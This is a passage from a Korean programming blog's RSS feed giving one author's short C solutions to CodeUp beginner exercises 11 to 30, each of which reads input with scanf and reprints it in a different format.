&lt;pre id=&quot;code_1617463480209&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int f,s;
	scanf(&quot;%d.%d&quot;,&amp;amp;f,&amp;amp;s);
	printf(&quot;%d\n%d&quot;,f,s);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;24번&lt;/p&gt;
&lt;pre id=&quot;code_1617463480210&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;
#include&amp;lt;string.h&amp;gt;

int main()
{
	char add[21];
	scanf(&quot;%s&quot;,add);
	
	for(int i=0;i&amp;lt;strlen(add);i++)
	{
		printf(&quot;\'%c\'\n&quot;,add[i]);
	}
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;25번&lt;/p&gt;
&lt;pre id=&quot;code_1617463480210&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int a,b,c,d,e;
	
	scanf(&quot;%1d%1d%1d%1d%1d&quot;,&amp;amp;a,&amp;amp;b,&amp;amp;c,&amp;amp;d,&amp;amp;e);
	printf(&quot;[%d]\n&quot;,a*10000);
	printf(&quot;[%d]\n&quot;,b*1000);
	printf(&quot;[%d]\n&quot;,c*100);
	printf(&quot;[%d]\n&quot;,d*10);
	printf(&quot;[%d]\n&quot;,e*1);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;26번&lt;/p&gt;
&lt;pre id=&quot;code_1617463480210&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int h,m,s;
	
	scanf(&quot;%d:%d:%d&quot;,&amp;amp;h,&amp;amp;m,&amp;amp;s);
	printf(&quot;%d&quot;,m);
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;27번&lt;/p&gt;
&lt;pre id=&quot;code_1617463480210&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int y,m,d;
	scanf(&quot;%d.%d.%d&quot;,&amp;amp;y,&amp;amp;m,&amp;amp;d);
	printf(&quot;%02d-%02d-%04d&quot;,d,m,y);
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;28번&lt;/p&gt;
&lt;pre id=&quot;code_1617463480210&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	unsigned int n;
	scanf(&quot;%u&quot;,&amp;amp;n);
	printf(&quot;%u&quot;,n);
	return 0;	
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;29번&lt;/p&gt;
&lt;pre id=&quot;code_1617463480210&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	double d;
	
	scanf(&quot;%lf&quot;,&amp;amp;d);
	printf(&quot;%.11lf&quot;,d);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;30번&lt;/p&gt;
&lt;pre id=&quot;code_1617463480210&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	long long int n;
	scanf(&quot;%lld&quot;,&amp;amp;n);
	printf(&quot;%lld&quot;,n);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>기타</category>
      <author>grze0</author>
      <guid isPermaLink="true">https://dlwodnr59.tistory.com/4</guid>
      <comments>https://dlwodnr59.tistory.com/4#entry4comment</comments>
      <pubDate>Sun, 4 Apr 2021 00:24:47 +0900</pubDate>
    </item>
    <item>
      <title>코드업 C언어 기초100제(11~20)</title>
      <link>https://dlwodnr59.tistory.com/3</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;11번&lt;/p&gt;
&lt;pre id=&quot;code_1617463412907&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	char c;
	scanf(&quot;%c&quot;, &amp;amp;c);
	printf(&quot;%c&quot;, c);
	return 0;	
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12번&lt;/p&gt;
&lt;pre id=&quot;code_1617463412908&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	float f;
	scanf(&quot;%f&quot;,&amp;amp;f);
	printf(&quot;%f&quot;,f);
	return 0; 
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;13번&lt;/p&gt;
&lt;pre id=&quot;code_1617463412908&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int a,b;
	scanf(&quot;%d %d&quot;, &amp;amp;a, &amp;amp;b);
	printf(&quot;%d %d&quot;,a,b);
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;14번&lt;/p&gt;
&lt;pre id=&quot;code_1617463412908&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	char i,j;
	scanf(&quot;%c %c&quot;, &amp;amp;i, &amp;amp;j);
	printf(&quot;%c %c&quot;, j, i);
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15번&lt;/p&gt;
&lt;pre id=&quot;code_1617463412909&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	float i;
	scanf(&quot;%f&quot;,&amp;amp;i);
	printf(&quot;%.2f&quot;, i);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1016번은 안올라와있네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;17번&lt;/p&gt;
&lt;pre id=&quot;code_1617463412909&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int a;
	scanf(&quot;%d&quot;,&amp;amp;a);
	printf(&quot;%d %d %d&quot;,a,a,a);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;18번&lt;/p&gt;
&lt;pre id=&quot;code_1617463412909&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int a,b;
	scanf(&quot;%d:%d&quot;,&amp;amp;a,&amp;amp;b);
	printf(&quot;%d:%d&quot;,a,b);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;19번&lt;/p&gt;
&lt;pre id=&quot;code_1617463412909&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int Y,M,D;
	scanf(&quot;%d.%d.%d&quot;,&amp;amp;Y,&amp;amp;M,&amp;amp;D);
	printf(&quot;%04d.%02d.%02d&quot;,Y,M,D);
	return 0;	
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;20번&lt;/p&gt;
&lt;pre id=&quot;code_1617463412909&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int f,s;
	scanf(&quot;%d-%d&quot;,&amp;amp;f,&amp;amp;s);
	printf(&quot;%06d%d&quot;,f,s);
	return 0;	
} &lt;/code&gt;&lt;/pre&gt;</description>
      <category>기타</category>
      <author>grze0</author>
      <guid isPermaLink="true">https://dlwodnr59.tistory.com/3</guid>
      <comments>https://dlwodnr59.tistory.com/3#entry3comment</comments>
      <pubDate>Sun, 4 Apr 2021 00:23:52 +0900</pubDate>
    </item>
  </channel>
</rss>